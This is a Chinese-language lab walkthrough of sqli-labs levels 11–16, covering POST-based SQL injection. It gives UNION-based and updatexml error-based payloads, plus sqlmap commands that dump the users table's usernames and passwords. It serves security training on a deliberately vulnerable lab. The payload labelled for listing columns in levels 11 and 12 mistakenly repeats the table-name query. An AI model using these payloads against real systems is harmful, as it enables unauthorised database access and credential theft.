本篇文章我们要进行的是POST型的注入,我们之前进行渗透的都是GET型。在这里我们要简单的了解一下GET型与POST型的区别。
在这里我直接用最直观的方式让你了解他们之间的区别
(1)GET型请求:我们输入的参数会保留在浏览器中(1-10关参数都是GET型),下面是第六关的代码举例:
在这里我们可以看到我们输入的参数直接显示在浏览器导航栏里了。
(2)POST型请求:以第十一关为例
我们在账号密码处输入参数后,点击submit后。可以发现页面刷新后导航栏并不显示我们输入的参数。利用BurpSuite抓包后我们才能够发现有关POST的参数:
小技巧: 因此在往后我们面对POST型注入时,我们可以直接用BurpSuite进行抓包然后注入。
sqli-labs 第十一关
还是老样子,先看源码:
我们可以很容易看到uname和password都是POST型请求(第一反应用BurpSuite抓包),同时我们可以看到$sql语句使用 '闭合;
鼠标右键后点击“Send to Repeater” ,然后再点击Send和Render后,即可加载我们刚看到的网页:
又因为我们代码中的uname和password并没有进行任何函数过滤,所以在结合发现的 '闭合,就可以很容易的构造注入语句:
我们首先试试有多少个回显位:
1' order by 3 -- da (后面的&password=...这些都被注释掉了)
// 显示 Unkonwn column '3' in 'order clause'
1' order by 2 -- da //页面什么都不显示,说明有2个回显位
记得在修改完语句后再次点击Send才会显示如下画面,不要傻傻的以为修改语句页面就可以自己变化:
说明有两个回显位;接下来就进行正常的sql语句注入即可:
显示数据库:
-1' union select 1,database() -- da
列库名:
-1' union select 1,group_concat(schema_name) from information_schema.schemata -- da
列表名:
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= database()) -- da
列名:
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= database()) -- da
最后,显示内容:
-1' union select 1,group_concat(concat_ws(0x3a,username,password)) from security.users -- fa
sqli-labs 第十二关
话不多说,直接看源码:
一样的POST型请求,唯一的区别就是变成了 ") 闭合,其他步骤与上一关一样,直接上代码:
显示有多少个回显位:
1") order by 1,2,3 -- da // 显示 Unkonwn column '3' in 'order clause'
1") order by 2 -- da //页面什么都不显示,说明有2个回显位
显示数据库:
-1") union select 1,database() -- da
列库名:
-1") union select 1,group_concat(schema_name) from information_schema.schemata -- da
列表名:
-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= database()) -- da
列名:
-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= database()) -- da
最后,显示内容:
-1") union select 1,group_concat(concat_ws(0x3a,username,password)) from security.users -- fa
sqli-labs 第十三关
源码:
简单的 ') 闭合,但真的有这么简单吗?
显示有多少个回显位:
1') order by 1,2,3 -- da // 显示 Unkonwn column '3' in 'order clause'
1') order by 2 -- da //页面什么都不显示,说明有2个回显位
然后我们接着输入:
显示数据库:
-1') union select 1,database() -- da
结果显示我们successfully,但是我们想要的数据呢? 所以我们再次回去查看源码:
往下翻我们可以发现,显示查询信息的语句被注释掉了,所以在成功后才会没有显示任何数据。但是我们可以发现还存在一个 mysql_error() 函数,所以我们还可以利用报错注入进行:
类似的情况可以查看sqli-labs 第五关的解析,这里我就不赘述了。
查询数据库:
-1') union select updatexml(1,concat(0x7e,(select database()),0x7e),1) -- da
列库名:
-1') and updatexml(1,concat(0x7e,(select(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- fda
// 修改limit x,1 改变x的值即可得到所有的表名:
剩下的同理:
找列名:
-1') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1) -- fda
显示数据:
-1') and updatexml(1,concat(0x7e,(select concat_ws(0x3a,username,password) from security.users limit 0,1),0x7e),1) -- fda
sqli-labs 第十四关
看源码:
类似的代码,一样的报错注入,不一样的不过是 " 闭合。
直接上代码:
显示有多少个回显位:
1" order by 1,2,3 -- da // 显示 Unkonwn column '3' in 'order clause'
1" order by 2 -- da //页面什么都不显示,说明有2个回显位
查询数据库:
-1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1) -- da
列库名:
-1" and updatexml(1,concat(0x7e,(select(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- fda
找列名:
-1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1) -- fda
显示数据:
-1" and updatexml(1,concat(0x7e,(select concat_ws(0x3a,username,password) from security.users limit 0,1),0x7e),1) -- fda
sqli-labs 第十五关
首先我们查看源码:
发现竟然连报错注入都没有了(悲),所以我们只能进行盲注了。
一般盲注的步骤sqli-labs 7~10关里讲过,我推荐的是通过sqlmap进行注入,但是与GET型不一样的是:
sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" -p n --dbs
其中文件1.txt是我们用BurpSuite所抓取的POST报文信息,后面的是报文在你电脑上的路径;
我们在抓包后所显示的第一个页面,再将如图中的信息->复制保存到一个.txt文件即可。
图中显示部分即为所搜索到的数据库名:
剩下搜寻表名,列名的同理。我在这里就不演示了,直接给各位上代码:
//表名:
sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" --batch -D security --tables
//列名
sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" --batch -D security -T users --columns
//获取内容:
sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" --batch -D security -T users -C username,password --dump
太长了,就不等他内容全部显示出来了。因为我要去吃饭)
sqli-labs 第十六关
看源码:
我们可以发现与第15关代码没有什么太大区别,只不过是变成了 ") 闭合,对手工注入有效(但是对于我们用sqlmap的来说没有任何影响)。
其他不变,还是用sqlmap:
//数据库
sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" -p n --dbs
//表名:
sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" --batch -D security --tables
//列名
sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" --batch -D security -T users --columns
//获取内容:
sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" --batch -D security -T users -C username,password --dump
甚至于代码都是一样的(记得你抓的包是从16关抓的就行)。
注意
但是对于11-14关来说,我们也可以不用BurpSuite来进行注入,我们可以直接在password的框内来输入我们的语句,可以参考一下这篇文章。
总结
这几关其实就是前面1-10关的所有注入技巧的整合,只不过由GET型变成了POST型罢了。多吸收,多思考,多学习别人的经验。